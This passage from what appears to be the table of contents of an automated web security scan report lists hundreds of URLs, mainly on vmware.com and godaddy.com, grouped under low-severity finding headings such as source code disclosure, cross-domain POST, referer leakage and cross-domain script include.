9.11. http://mylearn.vmware.com/MgrReg/login.cfm

9.12. https://mylearnssl.vmware.com/login.cfm

9.13. http://offlajn.com/

9.14. https://twitter.com/BrendanPaddick

9.15. http://videos.godaddy.com/danica-media.aspx

9.16. http://videos.godaddy.com/super-bowl-commercials.aspx

9.17. http://webspace.flowja.com/

9.18. http://www.australiateachers.com/

9.19. http://www.educationamerica.net/

9.20. http://www.educationcanada.com/

9.21. http://www.educationjobfairs.com/

9.22. http://www.flowja.com/cgi-bin/bmui.cgi

9.23. http://www.godaddy.com/

9.24. http://www.godaddy.com/domains/search.aspx

9.25. http://www.godaddy.com/ecommerce/shopping-cart.aspx

9.26. http://www.godaddy.com/email/email-hosting.aspx

9.27. http://www.godaddy.com/hosting/website-builder.aspx

9.28. http://www.godaddy.com/ssl/ssl-certificates.aspx

9.29. http://www.godaddy.com/tlds/co-domain.aspx

9.30. http://www.livechatinc.com/

9.31. http://www.supremecomputing.com/Default.aspx

9.32. http://www.supremecomputing.com/Register.aspx

9.33. http://www.supremecomputing.net/HK/Default.aspx

9.34. http://www.vmware.com/

9.35. http://www.vmware.com/a/webcasts/details/377

9.36. http://www.vmware.com/ap/

9.37. http://www.vmware.com/au/

9.38. http://www.vmware.com/ca/en/

9.39. http://www.vmware.com/cloud-computing/cloud-architecture/vcat-toolkit.html

9.40. http://www.vmware.com/cloud-computing/cloud-journey/overview.html

9.41. http://www.vmware.com/cloud-computing/private-cloud/datacenter-challenges.html

9.42. http://www.vmware.com/cloud-computing/private-cloud/how-to-build-private-cloud.html

9.43. http://www.vmware.com/cloud-computing/private-cloud/private-cloud-solutions.html

9.44. http://www.vmware.com/cloud-infrastructure/business-critical-applications.html

9.45. http://www.vmware.com/communities/content/community_terms/

9.46. http://www.vmware.com/company/

9.47. http://www.vmware.com/company/acquisitions/

9.48. http://www.vmware.com/company/briefing_center/index.html

9.49. http://www.vmware.com/company/contact/

9.50. http://www.vmware.com/company/customers/

9.51. http://www.vmware.com/company/green-at-vmware.html

9.52. http://www.vmware.com/company/leadership/

9.53. http://www.vmware.com/company/mediaresource/index.html

9.54. http://www.vmware.com/company/merchandise.html

9.55. http://www.vmware.com/company/news/articles/

9.56. http://www.vmware.com/company/news/awards.html

9.57. http://www.vmware.com/company/news/releases/

9.58. http://www.vmware.com/company/news/releases/vmw-accelerate-04-16-12.html

9.59. http://www.vmware.com/company/news/releases/vmw-cloud-foundry-041112.html

9.60. http://www.vmware.com/company/news/releases/vmw-earnings-q112.html

9.61. http://www.vmware.com/company/news/releases/vmw-myron-steves-04-17-12.html

9.62. http://www.vmware.com/company/news/releases/vmw-sliderocket-google-04-24-12.html

9.63. http://www.vmware.com/company/office_locations/

9.64. http://www.vmware.com/contact/contact_sales.html

9.65. http://www.vmware.com/end-user-computing/euc-platform.html

9.66. http://www.vmware.com/help/

9.67. http://www.vmware.com/help/accessibility.html

9.68. http://www.vmware.com/help/legal.html

9.69. http://www.vmware.com/help/privacy.html

9.70. http://www.vmware.com/jobs/

9.71. http://www.vmware.com/landing_pages/vpp/benefits.html

9.72. http://www.vmware.com/partners/

9.73. http://www.vmware.com/partners/partners.html

9.74. http://www.vmware.com/partners/partners.html

9.75. http://www.vmware.com/partners/programs/

9.76. http://www.vmware.com/partners/programs/corporate-resellers.html

9.77. http://www.vmware.com/partners/programs/corporate-resellers.html

9.78. http://www.vmware.com/partners/programs/service-provider/index.html

9.79. http://www.vmware.com/partners/programs/solution-provider/index.html

9.80. http://www.vmware.com/partners/programs/solution-provider/index.html

9.81. http://www.vmware.com/partners/programs/system-integrators.html

9.82. http://www.vmware.com/partners/programs/system-integrators.html

9.83. http://www.vmware.com/partners/programs/ten-reasons-to-partner-vmware.html

9.84. http://www.vmware.com/partners/programs/ten-reasons-to-partner-vmware.html

9.85. http://www.vmware.com/partners/programs/training-centers.html

9.86. http://www.vmware.com/partners/solution-competencies.html

9.87. http://www.vmware.com/products/

9.88. http://www.vmware.com/products/application-platform/

9.89. http://www.vmware.com/products/application-platform/vfabric-appdirector/overview.html

9.90. http://www.vmware.com/products/application-platform/vfabric-application-performance-manager/overview.html

9.91. http://www.vmware.com/products/application-platform/vfabric-data-director/overview.html

9.92. http://www.vmware.com/products/application-platform/vfabric-enterprise-ready-server/overview.html

9.93. http://www.vmware.com/products/application-platform/vfabric-gemfire/overview.html

9.94. http://www.vmware.com/products/application-platform/vfabric-hyperic/overview.html

9.95. http://www.vmware.com/products/application-platform/vfabric-rabbitmq/overview.html

9.96. http://www.vmware.com/products/application-platform/vfabric-sqlfire/overview.html

9.97. http://www.vmware.com/products/application-platform/vfabric-tcserver/overview.html

9.98. http://www.vmware.com/products/application-platform/vfabric-web-server/overview.html

9.99. http://www.vmware.com/products/application-platform/vfabric/overview.html

9.100. http://www.vmware.com/products/datacenter-virtualization/

9.101. http://www.vmware.com/products/datacenter-virtualization/it-business-management/overview.html

9.102. http://www.vmware.com/products/datacenter-virtualization/service-manager/overview.html

9.103. http://www.vmware.com/products/datacenter-virtualization/vcenter-infrastructure-navigator/overview.html

9.104. http://www.vmware.com/products/datacenter-virtualization/vcenter-operations-management/overview.html

9.105. http://www.vmware.com/products/datacenter-virtualization/vcenter-protect-update-catalog/overview.html

9.106. http://www.vmware.com/products/datacenter-virtualization/vcenter-protect/overview.html

9.107. http://www.vmware.com/products/datacenter-virtualization/vcloud-integration-manager/overview.html

9.108. http://www.vmware.com/products/datacenter-virtualization/vcloudconnector/overview.html

9.109. http://www.vmware.com/products/datacenter-virtualization/vshield-app-data-security/overview.html

9.110. http://www.vmware.com/products/datacenter-virtualization/vsphere/mid-size-and-enterprise-business/compare-editions.html

9.111. http://www.vmware.com/products/datacenter-virtualization/vsphere/mid-size-and-enterprise-business/documentation-and-training.html

9.112. http://www.vmware.com/products/datacenter-virtualization/vsphere/profile-driven-storage/overview.html

9.113. http://www.vmware.com/products/datacenter-virtualization/vsphere/vsphere-storage-appliance/overview.html

9.114. http://www.vmware.com/products/datacenter-virtualization/vsphere/vsphere-storage-drs/overview.html

9.115. http://www.vmware.com/products/desktop_virtualization/

9.116. http://www.vmware.com/products/desktop_virtualization/horizon/

9.117. http://www.vmware.com/products/desktop_virtualization/sliderocket/overview.html

9.118. http://www.vmware.com/products/smb-products.html

9.119. http://www.vmware.com/products/studio/overview.html

9.120. http://www.vmware.com/products/vcenter-server/buy.html

9.121. http://www.vmware.com/products/vcenter-server/overview.html

9.122. http://www.vmware.com/products/vsphere/esxi-and-esx/overview.html

9.123. http://www.vmware.com/products/vsphere/mid-size-and-enterprise-business/buy.html

9.124. http://www.vmware.com/products/vsphere/mid-size-and-enterprise-business/overview.html

9.125. http://www.vmware.com/products/vsphere/pricing.html

9.126. http://www.vmware.com/resources/techresources/

9.127. http://www.vmware.com/resources/techresources/10044

9.128. http://www.vmware.com/resources/techresources/user/login

9.129. http://www.vmware.com/resources/techresources/user/login

9.130. http://www.vmware.com/services/

9.131. http://www.vmware.com/services/accelerate/

9.132. http://www.vmware.com/services/accelerate/accelerate-benchmarking-services.html

9.133. http://www.vmware.com/services/accelerate/it-strategy-services.html

9.134. http://www.vmware.com/services/accelerate/team.html

9.135. http://www.vmware.com/services/accelerate/transformation-readiness-services.html

9.136. http://www.vmware.com/services/consulting/

9.137. http://www.vmware.com/services/consulting/vmware-business-critical-apps-services.html

9.138. http://www.vmware.com/services/consulting/vmware-vfabric-consulting-services.html

9.139. http://www.vmware.com/services/tam/index.html

9.140. http://www.vmware.com/site_index.html

9.141. http://www.vmware.com/solutions/

9.142. http://www.vmware.com/solutions/application-platform/index.html

9.143. http://www.vmware.com/solutions/business-critical-apps/exchange/index.html

9.144. http://www.vmware.com/solutions/business-critical-apps/index.html

9.145. http://www.vmware.com/solutions/business-critical-apps/sharepoint_server/index.html

9.146. http://www.vmware.com/solutions/business-critical-apps/sql/index.html

9.147. http://www.vmware.com/solutions/cloud-solutions.html

9.148. http://www.vmware.com/solutions/company-size/enterprise/index.html

9.149. http://www.vmware.com/solutions/company-size/individuals.html

9.150. http://www.vmware.com/solutions/company-size/smb/myron-steves.html

9.151. http://www.vmware.com/solutions/datacenter/

9.152. http://www.vmware.com/solutions/datacenter/business-continuity/disaster-recovery.html

9.153. http://www.vmware.com/solutions/datacenter/cloud-security-compliance/unified-framework.html

9.154. http://www.vmware.com/solutions/datacenter/disaster-recovery-to-cloud.html

9.155. http://www.vmware.com/solutions/desktop/

9.156. http://www.vmware.com/solutions/desktop/business-process-desktop/overview.html

9.157. http://www.vmware.com/solutions/desktop/mobile-secure-desktop/overview.html

9.158. http://www.vmware.com/solutions/desktop/remote-branch/remote-branch-office.html

9.159. http://www.vmware.com/solutions/executive-resource-center/

9.160. http://www.vmware.com/solutions/industry/

9.161. http://www.vmware.com/solutions/industry/financial-services/overview.html

9.162. http://www.vmware.com/solutions/industry/healthcare/overview.html

9.163. http://www.vmware.com/solutions/industry/non-profit/overview.html

9.164. http://www.vmware.com/solutions/industry/retail/overview.html

9.165. http://www.vmware.com/solutions/partners/competencies/overview.html

9.166. http://www.vmware.com/solutions/partners/technology-partners.html

9.167. http://www.vmware.com/solutions/partners/vmware-solution-exchange.html

9.168. http://www.vmware.com/solutions/smb/how-to-buy.html

9.169. http://www.vmware.com/support/

9.170. http://www.vmware.com/support/contacts/

9.171. http://www.vmware.com/support/licensing/

9.172. http://www.vmware.com/support/policies/index/

9.173. http://www.vmware.com/support/product-support/

9.174. http://www.vmware.com/support/product-support/acquisitions/

9.175. http://www.vmware.com/support/product-support/fusion/

9.176. http://www.vmware.com/support/product-support/server.html

9.177. http://www.vmware.com/support/product-support/vcloud-director.html

9.178. http://www.vmware.com/support/product-support/vi3.html

9.179. http://www.vmware.com/support/product-support/view.html

9.180. http://www.vmware.com/support/product-support/vsphere-hypervisor.html

9.181. http://www.vmware.com/support/product-support/workstation.html

9.182. http://www.vmware.com/support/services/basic.html

9.183. http://www.vmware.com/support/services/incident.html

9.184. http://www.vmware.com/support/services/index.html

9.185. http://www.vmware.com/support/services/production.html

9.186. http://www.vmware.com/support/us_support.html

9.187. http://www.vmware.com/technical-resources/

9.188. http://www.vmware.com/technical-resources/advantages/

9.189. http://www.vmware.com/uk/

9.190. http://www.vmware.com/virtualization/

9.191. http://www.vmware.com/virtualization/green-it/greengrid.html

9.192. http://www.vmware.com/virtualization/green-it/pc.html

9.193. http://www.vmware.com/virtualization/why-choose-vmware.html

9.194. http://www.vmware.com/virtualization/why-choose-vmware/

9.195. http://www.vmware.com/virtualization/why-choose-vmware/best-virtualization-platform/virtualization-leader.html

9.196. http://www.vmware.com/virtualization/why-choose-vmware/better-security-for-your-cloud/simplified-security.html

9.197. http://www.vmware.com/virtualization/why-choose-vmware/more-choice-for-your-cloud/pragmatic-aproach.html

9.198. http://www.vmware.com/vmwarestore/

9.199. http://www.vmware.com/vmwarestore/online-partners.html

9.200. http://www.vmware.com/worldwide.html

9.201. https://www.vmware.com/

9.202. https://www.vmware.com/a/webcasts/details/159

9.203. https://www.vmware.com/a/webcasts/details/189

9.204. https://www.vmware.com/a/webcasts/details/190

9.205. https://www.vmware.com/a/webcasts/details/201

9.206. https://www.vmware.com/a/webcasts/details/213

9.207. https://www.vmware.com/a/webcasts/details/225

9.208. https://www.vmware.com/a/webcasts/details/255

9.209. https://www.vmware.com/contact/contact_sales.html

9.210. https://www.vmware.com/products/vsphere/buy/overview.html

9.211. https://www.vmware.com/products/vsphere/purchase-advisor/

9.212. https://www.vmware.com/products/vsphere/upgrade-center/licensing.html

9.213. https://www.vmware.com/resources/techresources/

9.214. https://www.vmware.com/solutions/business-critical-apps/

9.215. https://www.vmware.com/try-vmware/

10. Source code disclosure

10.1. http://communities.vmware.com/4.0.13/resources/scripts/gen/9f09b47b4ecd8e730d371308d1f94b6f.js

10.2. https://my.vmware.com/static/vmware/modules/evals/js/evalsupport.js

10.3. http://platform.linkedin.com/js/nonSecureAnonymousFramework

11. Cross-domain POST

11.1. http://fancybox.net/

11.2. http://gsgd.co.uk/sandbox/jquery/easing/

11.3. http://info.igloosoftware.com/forms/TryIglooEmed

11.4. http://jscrollpane.kelvinluck.com/

11.5. http://lokeshdhakar.com/projects/lightbox2/

11.6. https://my.vmware.com/web/vmware/login-partners

11.7. http://www.gnu.org/licenses/gpl.html

11.8. http://www.igloosoftware.com/resources

11.9. http://www.vmware.com/contact/contact_sales.html

11.10. http://www.vmware.com/partners/partners.html

11.11. http://www.vmware.com/partners/programs/corporate-resellers.html

11.12. http://www.vmware.com/partners/programs/solution-provider/index.html

11.13. http://www.vmware.com/partners/programs/system-integrators.html

11.14. http://www.vmware.com/partners/programs/ten-reasons-to-partner-vmware.html

11.15. https://www.vmware.com/chat-contact.html

11.16. https://www.vmware.com/contact/contact_sales.html

12. Cross-domain Referer leakage

12.1. http://877geeksonsite.com/locations/states/virginia-va/wireless-networks

12.2. https://auctions.godaddy.com/

12.3. http://btn.weather.ca/weatherbuttons/template5.php

12.4. http://cdn.optmd.com/V2/85105/247724/index.html

12.5. http://columbuscommunications.com/index.php/component/search/

12.6. http://dev.opera.com/articles/view/efficient-javascript/

12.7. http://go.microsoft.com/fwlink/

12.8. http://go.microsoft.com/fwlink/

12.9. https://my.vmware.com/web/vmware/evalcenter

12.10. https://my.vmware.com/web/vmware/forgot-password

12.11. https://my.vmware.com/web/vmware/registration

12.12. https://my.vmware.com/web/vmware/terms-of-use

12.13. https://myaccount.flowja.com/

12.14. http://mylearn.vmware.com/MgrReg/login.cfm

12.15. http://mylearn.vmware.com/MgrReg/mode.cfm

12.16. http://mylearn.vmware.com/contact.cfm

12.17. http://mylearn.vmware.com/ilearn/MgrReg/faq.cfm

12.18. http://mylearn.vmware.com/mgrReg/plan.cfm

12.19. http://mylearn.vmware.com/mgrreg/courses.cfm

12.20. http://mylearn.vmware.com/mgrreg/index.cfm

12.21. http://mylearn.vmware.com/mgrreg/locations.cfm

12.22. http://mylearn.vmware.com/portals/certification/

12.23. http://mylearn.vmware.com/portals/certification/faqs.cfm

12.24. http://mylearn.vmware.com/portals/consulting/

12.25. http://mylearn.vmware.com/portals/credits/

12.26. http://mylearn.vmware.com/portals/www/mL.cfm

12.27. http://mylearn.vmware.com/portals/www/search/findcourse.cfm

12.28. http://mylearn.vmware.com/portals/www/search/findcourse2.cfm

12.29. http://mylearn.vmware.com/portals/www/search/results.cfm

12.30. http://search.vmware.com/search

12.31. http://videos.godaddy.com/danica-media.aspx

12.32. http://videos.godaddy.com/super-bowl-commercials.aspx

12.33. http://www.aci.edu/sem/info-tech.php

12.34. http://www.brocade.com/launch/effortless-network/hyperedge-technology/index.html

12.35. http://www.cellsignalsolutions.com/free-quote.php

12.36. http://www.columbusnetworks.com/index.phtml

12.37. http://www.educationdegreesource.com/request_form.php

12.38. http://www.flowjamaica.com/index.php

12.39. http://www.flowjamaica.com/index.php

12.40. http://www.flowjamaica.com/index.php

12.41. http://www.flowjamaica.com/index.php

12.42. http://www.godaddy.com/

12.43. http://www.godaddy.com/agreements/ShowDoc.aspx

12.44. http://www.godaddy.com/domains/search.aspx

12.45. http://www.godaddy.com/ecommerce/shopping-cart.aspx

12.46. http://www.godaddy.com/email/email-hosting.aspx

12.47. http://www.godaddy.com/hosting/website-builder.aspx

12.48. http://www.godaddy.com/ssl/ssl-certificates.aspx

12.49. http://www.godaddy.com/tlds/co-domain.aspx

12.50. https://www.godaddy.com/domains/popups/icannfee.aspx

12.51. http://www.igloosoftware.com/

12.52. http://www.igloosoftware.com/free

12.53. http://www.igloosoftware.com/solutions

12.54. http://www.livechatinc.com/

12.55. http://www.macromedia.com/shockwave/download/index.cgi

12.56. http://www.supremecomputing.com/Default.aspx

12.57. http://www.supremecomputing.com/Register.aspx

12.58. http://www.supremecomputing.net/HK/Default.aspx

12.59. http://www.vmware.com/products/vcenter-server/overview.html

12.60. http://www.vmware.com/products/vsphere/mid-size-and-enterprise-business/overview.html

12.61. http://www.youtube.com/embed/videoseries

13. Cross-domain script include

13.1. http://877geeksonsite.com/locations/states/virginia-va/wireless-networks

13.2. http://960.gs/

13.3. https://auctions.godaddy.com/

13.4. http://boxover.swazz.org/

13.5. http://brandonaaron.net/

13.6. http://columbuscommunications.com/

13.7. http://columbuscommunications.com/index.php

13.8. http://columbuscommunications.com/index.php/business-solutions

13.9. http://columbuscommunications.com/index.php/capacity-a-ip

13.10. http://columbuscommunications.com/index.php/careers

13.11. http://columbuscommunications.com/index.php/carreers-footer

13.12. http://columbuscommunications.com/index.php/carreers-footer/privacy-policy

13.13. http://columbuscommunications.com/index.php/click

13.14. http://columbuscommunications.com/index.php/columbus-business-solutions

13.15. http://columbuscommunications.com/index.php/columbus-companies

13.16. http://columbuscommunications.com/index.php/columbus-companies-2/flow-grenada

13.17. http://columbuscommunications.com/index.php/columbus-international

13.18. http://columbuscommunications.com/index.php/columbus-networks

13.19. http://columbuscommunications.com/index.php/company-profile

13.20. http://columbuscommunications.com/index.php/company-profile-3/our-news

13.21. http://columbuscommunications.com/index.php/company-profile-3/our-story

13.22. http://columbuscommunications.com/index.php/component/search/

13.23. http://columbuscommunications.com/index.php/contact-us-2

13.24. http://columbuscommunications.com/index.php/contact-us-main-2

13.25. http://columbuscommunications.com/index.php/data-centre-services

13.26. http://columbuscommunications.com/index.php/flow-curacao

13.27. http://columbuscommunications.com/index.php/flow-grenada

13.28. http://columbuscommunications.com/index.php/flow-jamaica

13.29. http://columbuscommunications.com/index.php/flow-trinidad

13.30. http://columbuscommunications.com/index.php/our-news/85-flow-appoints-publicis-as-regional-agency-of-record

13.31. http://columbuscommunications.com/index.php/our-people/columbus-communications-people/niall-sheehy

13.32. http://columbuscommunications.com/index.php/our-people/columbus-communications-people/rhea-yaw-ching

13.33. http://columbuscommunications.com/index.php/our-people/columbus-international-people

13.34. http://columbuscommunications.com/index.php/our-people/columbus-international-people/carol-mclean

13.35. http://columbuscommunications.com/index.php/our-people/corporate-governance/andrew-thornhill

13.36. http://columbuscommunications.com/index.php/our-people/corporate-governance/stan-spavold

13.37. http://columbuscommunications.com/index.php/products-a-services

13.38. http://columbuscommunications.com/index.php/products-a-services-2/capacity-a-ip

13.39. http://columbuscommunications.com/index.php/products-a-services-2/data-centre-services

13.40. http://columbuscommunications.com/index.php/products-a-services/capacity-a-ip

13.41. http://columbuscommunications.com/index.php/products-a-services/data-centre-services

13.42. http://columbuscommunications.com/index.php/products-a-services/talk

13.43. http://columbuscommunications.com/index.php/products-a-services/watch

13.44. http://columbusnetworks.co/

13.45. http://columbusnetworks.co/&hl=en&client=ca-dp-godaddy2_xml&gl=US

13.46. http://communities.vmware.com/index.jspa

13.47. http://creativecommons.org/licenses/by/2.5/

13.48. http://dev.opera.com/articles/view/efficient-javascript/

13.49. http://fancybox.net/

13.50. http://gsgd.co.uk/sandbox/jquery/easing/

13.51. https://internetbanking.firstcaribbeanbank.com/

13.52. https://jm.rbttnetbank.com/

13.53. http://jquery.com/

13.54. http://jquery.org/license

13.55. http://jscrollpane.kelvinluck.com/

13.56. http://mir.aculo.us/

13.57. http://mootools.net/

13.58. http://mootools.net/core/7c56cfef9dddcf170a5d68e3fb61cfd7

13.59. https://my.cloudfoundry.com/signup

13.60. https://my.vmware.com/web/vmware/evalcenter

13.61. https://my.vmware.com/web/vmware/forgot-password

13.62. https://my.vmware.com/web/vmware/login

13.63. https://my.vmware.com/web/vmware/login-education

13.64. https://my.vmware.com/web/vmware/login-partners

13.65. https://my.vmware.com/web/vmware/registration

13.66. https://my.vmware.com/web/vmware/terms-of-use

13.67. https://myaccount.flowja.com/

13.68. http://script.aculo.us/

13.69. http://search.vmware.com/search

13.70. http://sonspring.com/journal/clearing-floats

13.71. https://twitter.com/BrendanPaddick

13.72. http://videos.godaddy.com/danica-media.aspx

13.73. http://videos.godaddy.com/super-bowl-commercials.aspx

13.74. http://www.aci.edu/sem/info-tech.php

13.75. http://www.australiateachers.com/

13.76. http://www.brocade.com/launch/effortless-network/hyperedge-technology/index.html

13.77. http://www.cellsignalsolutions.com/free-quote.php

13.78. http://www.cloudfoundry.com/

13.79. http://www.cloudfoundry.com/getinvolved

13.80. http://www.cloudfoundry.com/partners

13.81. http://www.columbusnetworks.co/

13.82. http://www.columbusnetworks.co/default.html

13.83. http://www.digitalia.be/

13.84. http://www.educationamerica.net/

13.85. http://www.educationcanada.com/

13.86. http://www.educationdegreesource.com/request_form.php

13.87. http://www.educationjobfairs.com/

13.88. http://www.godaddy.com/

13.89. http://www.godaddy.com/agreements/ShowDoc.aspx

13.90. http://www.godaddy.com/domains/search.aspx

13.91. http://www.godaddy.com/ecommerce/shopping-cart.aspx

13.92. http://www.godaddy.com/email/email-hosting.aspx

13.93. http://www.godaddy.com/hosting/website-builder.aspx

13.94. http://www.godaddy.com/ssl/ssl-certificates.aspx

13.95. http://www.godaddy.com/tlds/co-domain.aspx

13.96. https://www.godaddy.com/domains/popups/icannfee.aspx

13.97. http://www.igloosoftware.com/

13.98. http://www.igloosoftware.com/free

13.99. http://www.igloosoftware.com/howtobuy

13.100. http://www.igloosoftware.com/resources

13.101. http://www.igloosoftware.com/solutions

13.102. http://www.igloosoftware.com/solutions/features

13.103. http://www.igloosoftware.com/try_igloo

13.104. http://www.livechatinc.com/

13.105. http://www.mathias-bank.de/

13.106. http://www.opensource.org/licenses/mit-license.php

13.107. http://www.sidera.net/services/ethernet&client=ca-dp-godaddy2_xml

13.108. http://www.supremecomputing.com/

13.109. http://www.supremecomputing.com/Default.aspx

13.110. http://www.supremecomputing.net/

13.111. http://www.teachingjobs.com/

13.112. http://www.vmware.com/

13.113. http://www.vmware.com/ap/

13.114. http://www.vmware.com/at/

13.115. http://www.vmware.com/au/

13.116. http://www.vmware.com/br/

13.117. http://www.vmware.com/ca/en/

13.118. http://www.vmware.com/ca/fr/

13.119. http://www.vmware.com/ch/

13.120. http://www.vmware.com/cloud-computing/cloud-architecture/vcat-toolkit.html

13.121. http://www.vmware.com/cloud-computing/cloud-journey/overview.html

13.122. http://www.vmware.com/cloud-computing/private-cloud/datacenter-challenges.html

13.123. http://www.vmware.com/cloud-computing/private-cloud/how-to-build-private-cloud.html

13.124. http://www.vmware.com/cloud-computing/private-cloud/private-cloud-solutions.html

13.125. http://www.vmware.com/cloud-infrastructure/business-critical-applications.html

13.126. http://www.vmware.com/cn/

13.127. http://www.vmware.com/communities/content/community_terms/

13.128. http://www.vmware.com/company/

13.129. http://www.vmware.com/company/acquisitions/

13.130. http://www.vmware.com/company/briefing_center/index.html

13.131. http://www.vmware.com/company/contact/

13.132. http://www.vmware.com/company/customers/

13.133. http://www.vmware.com/company/green-at-vmware.html

13.134. http://www.vmware.com/company/leadership/

13.135. http://www.vmware.com/company/mediaresource/index.html

13.136. http://www.vmware.com/company/merchandise.html

13.137. http://www.vmware.com/company/news/articles/

13.138. http://www.vmware.com/company/news/awards.html

13.139. http://www.vmware.com/company/news/releases/

13.140. http://www.vmware.com/company/news/releases/vmw-accelerate-04-16-12.html

13.141. http://www.vmware.com/company/news/releases/vmw-cloud-foundry-041112.html

13.142. http://www.vmware.com/company/news/releases/vmw-earnings-q112.html

13.143. http://www.vmware.com/company/news/releases/vmw-myron-steves-04-17-12.html

13.144. http://www.vmware.com/company/news/releases/vmw-sliderocket-google-04-24-12.html

13.145. http://www.vmware.com/company/office_locations/

13.146. http://www.vmware.com/contact/contact_sales.html

13.147. http://www.vmware.com/cz/

13.148. http://www.vmware.com/de/

13.149. http://www.vmware.com/end-user-computing/euc-platform.html

13.150. http://www.vmware.com/es/

13.151. http://www.vmware.com/fr/

13.152. http://www.vmware.com/help/

13.153. http://www.vmware.com/help/accessibility.html

13.154. http://www.vmware.com/help/legal.html

13.155. http://www.vmware.com/help/privacy.html

13.156. http://www.vmware.com/it/

13.157. http://www.vmware.com/jobs/

13.158. http://www.vmware.com/jp/

13.159. http://www.vmware.com/kr/

13.160. http://www.vmware.com/landing_pages/vpp/benefits.html

13.161. http://www.vmware.com/latam/

13.162. http://www.vmware.com/nl/

13.163. http://www.vmware.com/partners/

13.164. http://www.vmware.com/partners/partners.html

13.165. http://www.vmware.com/partners/programs/

13.166. http://www.vmware.com/partners/programs/corporate-resellers.html

13.167. http://www.vmware.com/partners/programs/service-provider/index.html

13.168. http://www.vmware.com/partners/programs/solution-provider/index.html

13.169. http://www.vmware.com/partners/programs/system-integrators.html

13.170. http://www.vmware.com/partners/programs/ten-reasons-to-partner-vmware.html

13.171. http://www.vmware.com/partners/programs/training-centers.html

13.172. http://www.vmware.com/partners/solution-competencies.html

13.173. http://www.vmware.com/pl/

13.174. http://www.vmware.com/products/

13.175. http://www.vmware.com/products/application-platform/

13.176. http://www.vmware.com/products/application-platform/vfabric-appdirector/overview.html

13.177. http://www.vmware.com/products/application-platform/vfabric-application-performance-manager/overview.html

13.178. http://www.vmware.com/products/application-platform/vfabric-data-director/overview.html

13.179. http://www.vmware.com/products/application-platform/vfabric-enterprise-ready-server/overview.html

13.180. http://www.vmware.com/products/application-platform/vfabric-gemfire/overview.html

13.181. http://www.vmware.com/products/application-platform/vfabric-hyperic/overview.html

13.182. http://www.vmware.com/products/application-platform/vfabric-rabbitmq/overview.html

13.183. http://www.vmware.com/products/application-platform/vfabric-sqlfire/overview.html

13.184. http://www.vmware.com/products/application-platform/vfabric-tcserver/overview.html

13.185. http://www.vmware.com/products/application-platform/vfabric-web-server/overview.html

13.186. http://www.vmware.com/products/application-platform/vfabric/overview.html

13.187. http://www.vmware.com/products/datacenter-virtualization/

13.188. http://www.vmware.com/products/datacenter-virtualization/it-business-management/overview.html

13.189. http://www.vmware.com/products/datacenter-virtualization/service-manager/overview.html

13.190. http://www.vmware.com/products/datacenter-virtualization/vcenter-infrastructure-navigator/overview.html

13.191. http://www.vmware.com/products/datacenter-virtualization/vcenter-operations-management/overview.html

13.192. http://www.vmware.com/products/datacenter-virtualization/vcenter-protect-update-catalog/overview.html

13.193. http://www.vmware.com/products/datacenter-virtualization/vcenter-protect/overview.html

13.194. http://www.vmware.com/products/datacenter-virtualization/vcloud-integration-manager/overview.html

13.195. http://www.vmware.com/products/datacenter-virtualization/vcloudconnector/overview.html

13.196. http://www.vmware.com/products/datacenter-virtualization/vshield-app-data-security/overview.html

13.197. http://www.vmware.com/products/datacenter-virtualization/vsphere/mid-size-and-enterprise-business/compare-editions.html

13.198. http://www.vmware.com/products/datacenter-virtualization/vsphere/mid-size-and-enterprise-business/documentation-and-training.html

13.199. http://www.vmware.com/products/datacenter-virtualization/vsphere/profile-driven-storage/overview.html

13.200. http://www.vmware.com/products/datacenter-virtualization/vsphere/vsphere-storage-appliance/overview.html

13.201. http://www.vmware.com/products/datacenter-virtualization/vsphere/vsphere-storage-drs/overview.html

13.202. http://www.vmware.com/products/desktop_virtualization/

13.203. http://www.vmware.com/products/desktop_virtualization/horizon/

13.204. http://www.vmware.com/products/desktop_virtualization/sliderocket/overview.html

13.205. http://www.vmware.com/products/smb-products.html

13.206. http://www.vmware.com/products/studio/overview.html

13.207. http://www.vmware.com/products/vcenter-server/buy.html

13.208. http://www.vmware.com/products/vcenter-server/overview.html

13.209. http://www.vmware.com/products/vsphere/esxi-and-esx/overview.html

13.210. http://www.vmware.com/products/vsphere/mid-size-and-enterprise-business/buy.html

13.211. http://www.vmware.com/products/vsphere/mid-size-and-enterprise-business/overview.html

13.212. http://www.vmware.com/products/vsphere/pricing.html

13.213. http://www.vmware.com/ru/

13.214. http://www.vmware.com/se/

13.215. http://www.vmware.com/services/

13.216. http://www.vmware.com/services/accelerate/

13.217. http://www.vmware.com/services/accelerate/accelerate-benchmarking-services.html

13.218. http://www.vmware.com/services/accelerate/it-strategy-services.html

13.219. http://www.vmware.com/services/accelerate/team.html

13.220. http://www.vmware.com/services/accelerate/transformation-readiness-services.html

13.221. http://www.vmware.com/services/consulting/

13.222. http://www.vmware.com/services/consulting/vmware-business-critical-apps-services.html

13.223. http://www.vmware.com/services/consulting/vmware-vfabric-consulting-services.html

13.224. http://www.vmware.com/services/tam/index.html

13.225. http://www.vmware.com/site_index.html

13.226. http://www.vmware.com/solutions/

13.227. http://www.vmware.com/solutions/application-platform/index.html

13.228. http://www.vmware.com/solutions/business-critical-apps/exchange/index.html

13.229. http://www.vmware.com/solutions/business-critical-apps/index.html

13.230. http://www.vmware.com/solutions/business-critical-apps/sharepoint_server/index.html

13.231. http://www.vmware.com/solutions/business-critical-apps/sql/index.html

13.232. http://www.vmware.com/solutions/cloud-solutions.html

13.233. http://www.vmware.com/solutions/company-size/enterprise/index.html

13.234. http://www.vmware.com/solutions/company-size/individuals.html

13.235. http://www.vmware.com/solutions/company-size/smb/myron-steves.html

13.236. http://www.vmware.com/solutions/datacenter/

13.237. http://www.vmware.com/solutions/datacenter/business-continuity/disaster-recovery.html

13.238. http://www.vmware.com/solutions/datacenter/cloud-security-compliance/unified-framework.html

13.239. http://www.vmware.com/solutions/datacenter/disaster-recovery-to-cloud.html

13.240. http://www.vmware.com/solutions/desktop/

13.241. http://www.vmware.com/solutions/desktop/business-process-desktop/overview.html

13.242. http://www.vmware.com/solutions/desktop/mobile-secure-desktop/overview.html

13.243. http://www.vmware.com/solutions/desktop/remote-branch/remote-branch-office.html

13.244. http://www.vmware.com/solutions/executive-resource-center/

13.245. http://www.vmware.com/solutions/industry/

13.246. http://www.vmware.com/solutions/industry/financial-services/overview.html

13.247. http://www.vmware.com/solutions/industry/healthcare/overview.html

13.248. http://www.vmware.com/solutions/industry/non-profit/overview.html

13.249. http://www.vmware.com/solutions/industry/retail/overview.html

13.250. http://www.vmware.com/solutions/partners/competencies/overview.html

13.251. http://www.vmware.com/solutions/partners/technology-partners.html

13.252. http://www.vmware.com/solutions/partners/vmware-solution-exchange.html

